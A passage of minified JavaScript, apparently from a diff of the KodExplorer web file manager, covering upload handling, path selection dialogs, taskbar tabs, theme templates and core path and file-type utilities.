0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:t>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,t),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var a=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(a),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var a;try{a=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(a=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=a,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var t=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==t||"undefined"==t)&&(t=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(t))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),a.fullPath=i,a.upload_to=e.file.upload_to}).on("uploadProgress",function(e,a){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,a),t=$("#"+e.id),n=t.find(".progress .progress-bar");n.length||(n=$('').appendTo(t).find(".progress-bar")),t.find(".state").text((100*a).toFixed(1)+"%("+i+")"),n.css("width",100*a+"%")}).on("uploadAccept",function(e,a){if(e.file.serverData=a,!a.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(a.info)}catch(i){}}).on("uploadSuccess",function(e){var a=$("#"+e.id);if(!a.inScreen()){var i=36*a.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var t=e.serverData;if(t&&t.data){var n=LNG[t.data];t.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,a){var i=LNG.upload_error+"("+a+")";if(e.serverData)if(e.serverData.data){var t=e.serverData.data;i=LNG[t]?LNG[t]:t}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var a=e.dataTransfer.getData("text/plain");a&&"http"==a.substring(0,4)&&ui.pathOperate.appAddURL(a)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,a,i){var t=$(i.DOM.wrap),n=a.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(t.find(".aui_state_highlight"));var s=function(a){var i=e.allowExt.split("|"),t=core.pathExt(a);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(t,i)?!0:!1},r=function(){var a=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var t=$(a.get(0));if("all"==e.type&&0==a.length)i={file:[],folder:[]};else if("file"==e.type&&0==a.length)i=[];else if("folder"==e.type)i=[n.G.this_path],t.hasClass("folderBox")&&(i=[n.ui.fileLight.path(t)]);else if("file"==e.type){if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i=[o])}}else if("all"==e.type)if(t.hasClass("folderBox")){var o=n.ui.fileLight.path(t);i=[{file:[],folder:[o]}]}else if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];a.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(a){var i=t.find(".path_select_input"),o=t.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;a.length>r;r++)l(a[r])&&s.push(a[r]);a=s}if(0==a.length||"all"==e.type&&0==a.file.length&&0==a.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(a)),d="";if(e.single)d=n.core.pathThis(a[0]);else{var p=a;"all"==e.type&&(p=a.folder.concat(a.file)),$.each(p,function(e,a){d+=n.core.pathThis(a)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(a,i){var t={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";a=$.extend(t,a),a.firstPath&&(n+="&path="+a.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:a.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,t=e.find(".path_select_input").attr("result");t=jsonDecode(hashDecode(t)),t?a.single&&"all"!=a.type?i(t[0]):i(t):Tips.tips(LNG.error,!1)}},cancel:!0});e(a,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(a){"function"==typeof e&&e(a)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var a={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(a){var i="x-play-sound";0==$("."+i).length&&$('
').appendTo("body");var t=G.static_path+"others/sound/"+a,n=e("./myPlayer");n.playSound(t,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(a[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,a=function(){e=location.hash.split("#",2)[1],e||(e="all"),t(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),t(e))}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var a=jsonDecode(base64Decode($(this).attr("data-app"))),i=$(e.target).attr("action");switch(i){case"preview":core.openApp(a);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+a.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(a))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(a,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(a.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&t()}})},cancel:!0});break;default:}}})},i=function(e){var a="",i=" ";G.is_root||(i="");for(var t in e)if(e[t]){var n=e[t].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),a+=" "+e[t].name+" "+e[t].desc+"
"+" "+LNG.button_add+" "+i+"
"}return a+="
"},t=function(a){(void 0==a||""==a)&&(a=e),$(".selected").removeClass("selected"),$("ul.setting a#"+a).addClass("selected"),$(".main").find(".h1").html(" "+$(".selected").text());var t=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+a,dataType:"json",beforeSend:function(){},success:function(e){t.html(i(e.data)),$("body").scrollTop(0)}})};return{reload:t,init:a}});
\ No newline at end of file
diff --git a/static/js/app/src/desktop/main.js b/static/js/app/src/desktop/main.js
index 0962c11..25e7683 100755
--- a/static/js/app/src/desktop/main.js
+++ b/static/js/app/src/desktop/main.js
@@ -1,8 +1,8 @@
-/*! power by kodexplorer ver3.37(2017-01-09) [build 1483959466678] */
-define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.myhome+"picture/wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("
"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(i[0],t)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},authCheck:function(e,i){return 